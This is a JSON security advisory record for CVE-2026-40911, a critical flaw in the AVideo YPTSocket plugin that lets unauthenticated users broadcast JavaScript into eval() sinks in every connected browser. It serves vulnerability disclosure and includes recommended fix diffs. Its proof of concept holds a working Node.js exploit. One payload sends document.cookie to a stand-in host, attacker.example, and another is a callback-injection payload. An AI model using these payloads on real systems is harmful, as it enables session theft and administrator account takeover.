{"id":"CVE-2026-40911","aliases":["GHSA-gph2-j4c9-vhhr"],"url":"https://o3.security/vulnerability/CVE-2026-40911","summary":"WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks","details":"## Summary\n\nThe YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.\n\n## Details\n\n### Token issuance is unauthenticated\n\n`plugin/YPTSocket/getWebSocket.json.php:11-21` returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:\n\n```php\nif(!AVideoPlugin::isEnabledByName(\"YPTSocket\")){\n    $obj->msg = \"Socket plugin not enabled\";\n    die(json_encode($obj));\n}\n$obj->error = false;\n$obj->webSocketToken = getEncryptedInfo(0);\n$obj->webSocketURL = YPTSocket::getWebSocketURL();\n```\n\n`getEncryptedInfo()` in `plugin/YPTSocket/functions.php:3-16` populates `from_users_id = User::getId()` (0 for guests) and `isAdmin = User::isAdmin()` (false for guests). The issued token is accepted by the WebSocket server's `onOpen` handler (`Message.php:44-52`) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.\n\n### Server relays attacker JSON verbatim\n\n`plugin/YPTSocket/Message.php:191-245` — the default branch of `onMessage` only rewrites `from_identification`:\n\n```php\npublic function onMessage(ConnectionInterface $from, $msg) {\n    ...\n    $json = _json_decode($msg);\n    if (empty($json->webSocketToken)) { return false; }\n    if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }\n\n    switch ($json->msg) {\n        ...\n        default:\n            $this->msgToArray($json);\n            if (isset($json['from_identification'])) {\n                $json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));\n            }\n            ...\n            } else {\n                $this->msgToAll($from, $json);  // broadcast\n            }\n            break;\n    }\n}\n```\n\n`msgToResourceId()` at `Message.php:297-310` copies the attacker-controlled `callback` and `msg` fields into the outbound payload:\n\n```php\nif (isset($msg['callback'])) {\n    $obj['callback'] = $msg['callback'];  // tainted\n    ...\n}\n...\n} else if (!empty($msg['msg'])) {\n    $obj['msg'] = $msg['msg'];  // tainted — entire object forwarded verbatim\n}\n```\n\n`$obj` is JSON-encoded at line 335 and sent to every connected client.\n\n### Client-side sink #1: `autoEvalCodeOnHTML` → eval\n\n`plugin/YPTSocket/script.js:163-169` (raw WebSocket transport) sets every inbound frame as `yptSocketResponse` and unconditionally calls `parseSocketResponse()`:\n\n```js\nconnWS.onmessage = function (e) {\n    var json = JSON.parse(e.data);\n    ...\n    yptSocketResponse = json;\n    parseSocketResponse();\n    ...\n};\n```\n\n`parseSocketResponse()` at `script.js:545-569` reaches the sink:\n\n```js\nasync function parseSocketResponse() {\n    const json = yptSocketResponse;\n    ...\n    if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n        eval(json.msg.autoEvalCodeOnHTML);   // <-- attacker-controlled\n    }\n    ...\n}\n```\n\n### Client-side sink #2: `json.callback` → eval\n\n`plugin/YPTSocket/script.js:91-95` — `processSocketJson()` concatenates attacker-controlled `json.callback` into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (`script.js:182`) and the Socket.IO branch (`script.js:339` via `socket.on(\"message\", (data) => { … processSocketJson(data) })`):\n\n```js\nif (json.callback) {\n    var code = \"if (typeof \" + json.callback + \" == 'function') { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n    socketLog('Executing callback:', json.callback);\n    eval(code);\n    ...\n}\n```\n\nBecause `json.callback` is interpolated as raw source, a payload like `alert(document.cookie);window.x` breaks out of the `typeof` expression and executes during the condition evaluation.\n\n## PoC\n\nPrerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).\n\n**Step 1 — obtain a token anonymously** (no cookies, no auth):\n\n```bash\ncurl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'\n```\n\nExpected output (abbreviated):\n```json\n{\"error\":false,\"msg\":\"\",\"webSocketToken\":\"<long encrypted token>\",\"webSocketURL\":\"wss://target.example:8888/?webSocketToken=<token>&...\"}\n```\n\n**Step 2 — connect to the WebSocket endpoint** using the returned `webSocketURL`. A minimal Node.js client:\n\n```js\nconst WebSocket = require('ws');\nconst TOKEN = '<token from step 1>';\nconst URL   = '<webSocketURL from step 1>';\nconst ws = new WebSocket(URL, { rejectUnauthorized: false });\n\nws.on('open', () => {\n    // Payload 1 — primary sink (raw WebSocket transport):\n    ws.send(JSON.stringify({\n        webSocketToken: TOKEN,\n        msg: {\n            autoEvalCodeOnHTML:\n                \"fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));\" +\n                \"alert('XSS as '+document.domain);\"\n        }\n    }));\n\n    // Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients):\n    ws.send(JSON.stringify({\n        webSocketToken: TOKEN,\n        msg: \"p\",\n        callback: \"alert(document.domain);window.x\"\n    }));\n});\n```\n\n**Step 3 — observe impact.** Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's `script.js` — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:\n\n- Payload 1 reaches `parseSocketResponse()` at line 568 and evaluates `eval(json.msg.autoEvalCodeOnHTML)`, firing the exfiltration request to `attacker.example` with `document.cookie`.\n- Payload 2 reaches `processSocketJson()` at line 95; the synthesized `code` string is `if (typeof alert(document.domain);window.x == 'function') { ... }`, which executes `alert(document.domain)` during the `typeof` evaluation.\n\nAny administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.\n\n## Impact\n\nA single unauthenticated request and one WebSocket frame grants the attacker **universal client-side code execution** across every user currently connected to the target AVideo instance. Concretely:\n\n- Session theft of every connected user, including administrators (note: `HttpOnly` does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies).\n- Privileged action execution on behalf of any admin who happens to be online — including plugin installation (`GHSA-v8jw-8w5p-23g3` shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.\n- Stored cross-user JS persistence via `localStorage`, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.\n- Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.\n- The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.\n\n## Recommended Fix\n\nMultiple defense-in-depth layers are required:\n\n**1. Remove the client-side eval sinks entirely.** `plugin/YPTSocket/script.js`:\n\n```diff\n- if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n-     eval(json.msg.autoEvalCodeOnHTML);\n- }\n```\n\nNo legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.\n\nReplace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:\n\n```diff\n- if (json.callback) {\n-     var code = \"if (typeof \" + json.callback + \" == 'function') { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n-     eval(code);\n-     ...\n- } else {\n-     myfunc = defaultCallback;\n- }\n+ var ALLOWED_CALLBACKS = ['socketNewConnection', 'socketDisconnection', /* ... */];\n+ if (typeof json.callback === 'string' && ALLOWED_CALLBACKS.indexOf(json.callback) !== -1\n+     && typeof window[json.callback] === 'function') {\n+     myfunc = window[json.callback];\n+     const event = new CustomEvent(json.callback, { detail: _details });\n+     document.dispatchEvent(event);\n+ } else {\n+     myfunc = defaultCallback;\n+ }\n```\n\n**2. Server-side: allowlist keys on relayed `msg` objects.** In `plugin/YPTSocket/Message.php::onMessage()` default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding `$msg['msg']` verbatim:\n\n```php\n// At top of default branch, after msgToArray:\n$ALLOWED_MSG_KEYS = ['type', 'text', 'videos_id', 'users_id', /* ... */];\nif (isset($json['msg']) && is_array($json['msg'])) {\n    $json['msg'] = array_intersect_key($json['msg'], array_flip($ALLOWED_MSG_KEYS));\n}\n// Similarly sanitize callback:\nif (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {\n    unset($json['callback']);\n}\n```\n\n**3. Restrict token issuance and sender privileges.** `plugin/YPTSocket/getWebSocket.json.php` should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger `msgToAll` at all — the default branch of `onMessage` should require `$msgObj->isAdmin` (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.","published":"2026-04-21T19:55:37.195Z","modified":"2026-08-12T03:51:47.416092099Z","cvss":{"score":10,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/c08694bf6264eb4decceb78c711baee2609b4efd","label":"WWBN/AVideo@c08694b"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40911.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-gph2-j4c9-vhhr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40911"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/c08694bf6264eb4decceb78c711baee2609b4efd"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:47.416092099Z"}}